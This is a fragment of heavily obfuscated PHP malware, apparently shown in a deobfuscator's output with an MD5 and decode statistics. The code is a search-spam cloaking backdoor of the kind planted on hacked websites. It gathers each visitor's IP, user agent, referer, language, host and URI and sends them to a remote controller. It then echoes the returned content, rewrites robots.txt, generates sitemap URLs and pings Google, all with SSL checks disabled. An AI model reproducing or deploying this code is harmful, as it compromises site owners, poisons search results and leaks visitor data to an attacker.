"\77\x61\147\x65\x6e\x74\x3d{$d7XGj}\46\162\145\146\145\162\75{$trJ2H}\x26\154\x61\156\x67\x3d{$rawr4}\46\x69\x70\75{$rLGIk}\x26\x64\157\155\75{$hisH3}\46\x68\164\164\x70\x3d{$vWuF3}\46\165\162\x69\75{$aolmJ}\x26\x70\x63\x3d{$hgWfo}\46\x72\145\167\162\x69\164\x65\x61\142\154\145\75{$KwYks}\46\163\x63\162\x69\x70\164\75{$M18rc}"; goto rTWUQ; np3Dq: if (!empty($_SERVER["\122\x45\121\125\105\x53\124\137\x53\x43\x48\x45\115\x45"]) && $_SERVER["\x52\x45\121\x55\105\x53\x54\x5f\123\x43\x48\105\115\x45"] == "\150\164\x74\160\x73" || !empty($_SERVER["\x48\x54\x54\120\123"]) && $_SERVER["\x48\124\124\x50\123"] == "\157\x6e" || !empty($_SERVER["\x53\x45\122\126\x45\122\137\x50\x4f\122\x54"]) && $_SERVER["\x53\x45\x52\x56\105\122\137\x50\117\122\x54"] == "\x34\x34\63" || isset($_SERVER["\x48\124\x54\120\x5f\x58\x5f\x46\117\x52\127\101\x52\x44\x45\x44\137\x50\122\x4f\124\117"]) && $_SERVER["\x48\124\x54\120\x5f\130\x5f\x46\117\122\x57\x41\x52\104\x45\104\137\120\x52\117\x54\117"] == "\150\x74\164\x70\x73") { goto ZZ3cD; } goto kHd4X; DEYbR: $psRv4 = ''; goto abMSd; zD2VO: $D8La1 = "\x2f"; goto bAFAy; AciLb: if (strpos($aolmJ, "\162\x6f\142\157\x74\x73\x2e\x74\170\x74") !== false || strpos($aolmJ, "\x77\x72\151\x74\145\162\157\142\x6f\164\163") !== false) { goto lKuH1; } goto wDnJh; h8_ji: IAfGI: goto NL2HG; R9HKk: @file_put_contents("\162\x6f\x62\x6f\164\x73\x2e\164\170\164", $qpmuF); goto Pb83G; vHR57: function BzKoB($H3Kib) { goto Uv0kS; PKuIe: curl_close($p5iz_); goto obuFr; r30Hj: $p5iz_ = curl_init(); goto m_MrP; JIw75: curl_setopt($p5iz_, CURLOPT_FOLLOWLOCATION, false); goto V6ER1; pkkA1: $K2Cti = curl_exec($p5iz_); goto PKuIe; vZi2H: curl_setopt($p5iz_, CURLOPT_SSL_VERIFYHOST, FALSE); goto o_Qtw; m_MrP: curl_setopt($p5iz_, CURLOPT_URL, $H3Kib); goto NyMDj; UC3Jn: curl_setopt($p5iz_, CURLOPT_SSL_VERIFYPEER, FALSE); goto vZi2H; o_Qtw: Zu49B: goto pkkA1; V6ER1: if (!(strpos($H3Kib, "\x68\x74\164\160\x73\72\57\57") !== false)) { goto Zu49B; } goto UC3Jn; PRmlz: return $K2Cti; goto s51do; Uv0kS: $K2Cti = @file_get_contents($H3Kib); goto Yj9zA; Yj9zA: if (!empty($K2Cti)) { goto Mtnpq; } goto r30Hj; obuFr: Mtnpq: goto PRmlz; NyMDj: curl_setopt($p5iz_, CURLOPT_RETURNTRANSFER, true); goto JIw75; s51do: } goto kkwrO; YEvec: n37yQ: goto ijjWO; Ve7Sh: echo $CWMa1; goto mZ7ic; SjkU5: $hisH3 = urlencode($_SERVER["\110\124\124\x50\137\x48\117\123\124"]); goto HVuI3; tZluT: $psRv4 = $UbwE0[1]; goto HKeP1; NtxyO: header("\x48\124\124\x50\x2f\61\56\x31\x20\64\x30\64\40\116\x6f\164\40\x46\x6f\165\x6e\144"); goto kKJgi; KYxkA: if (!file_exists("\x75\x78\x6f\x2e\x74\x78\x74")) { goto wfvuL; } goto QP1dI; Gktqx: $NGcSR = $PcBr4 . "\x3f\x61\147\145\156\x74\x3d{$d7XGj}\46\x72\x65\x66\145\x72\75{$trJ2H}\46\154\141\x6e\x67\x3d{$rawr4}\46\151\x70\x3d{$rLGIk}\x26\x64\157\x6d\75{$hisH3}\x26\x68\x74\164\x70\75{$vWuF3}\x26\x75\x72\x69\75{$aolmJ}\x26\x70\x63\x3d{$hgWfo}\46\x72\145\167\162\x69\x74\x65\x61\x62\154\145\x3d{$KwYks}\46\x73\143\162\151\160\x74\75{$M18rc}"; goto f8n9U; HQWyV: aEVo0: goto q3u9Y; hv_F1: if (preg_match("\57\x28{$r98J4}\51\57\x69", $_SERVER["\110\124\x54\120\137\125\123\105\122\x5f\x41\x47\x45\116\x54"])) { goto D8_iq; } goto I2c7U; CAcbC: echo $CWMa1 = bzkoB($NGcSR); goto E_QZl; GSHZG: xBU1j: goto MBeNr; NL2HG: if (strpos($aolmJ, "\160\151\156\147\x73\x69\x74\145\x6d\x61\160\x2e\x78\x6d\x6c") !== false) { goto NvNs6; } goto FPRWc; jg90R: exit; goto WQmrZ; wSAmz: $ESq89 = "{$vWuF3}\x3a\x2f\x2f" . $hisH3 . $D8La1 . "\163\x69\x74\x65\155\141\160\x2e\170\x6d\x6c"; goto FYTdD; Ymm7o: goto Ae0df; goto wyR3d; mcDBn: $WYO8m = "\150\164\x74\x70\163\x3a\x2f\57\x77\167\x77\x2e\147\157\157\x67\x6c\x65\x2e\143\x6f\x6d\x2f\160\151\x6e\147\77\x73\x69\x74\145\155\x61\160\x3d"; goto Ekbn5; tSK19: goto pZeLB; goto vDxTr; U_00v: header("\x48\x54\124\x50\57\x31\x2e\60\x20\x34\x30\63\40\x46\157\162\x62\151\144\x64\145\x6e"); goto OxXkR; G4GRQ: $D8La1 = "\57\77"; goto L5kSe; mDENj: $_SERVER["\122\105\121\x55\105\x53\x54\137\123\103\x48\x45\x4d\x45"] = "\150\x74\164\160\163"; goto gbk8i; KqEyL: aZkgl: goto EhOYb; HVuI3: $M18rc = urlencode($_SERVER["\123\x43\122\x49\120\124\x5f\x4e\x41\x4d\105"]); goto np3Dq; bAFAy: goto jAice; goto OSgyz; DvT4C: Ae0df: goto RriMR; M28pB: pZeLB:
?>
Function Calls
None |
Stats
MD5 | 6113d13780d7b6f622b4d437336f62ef |
Eval Count | 0 |
Decode Time | 58 ms |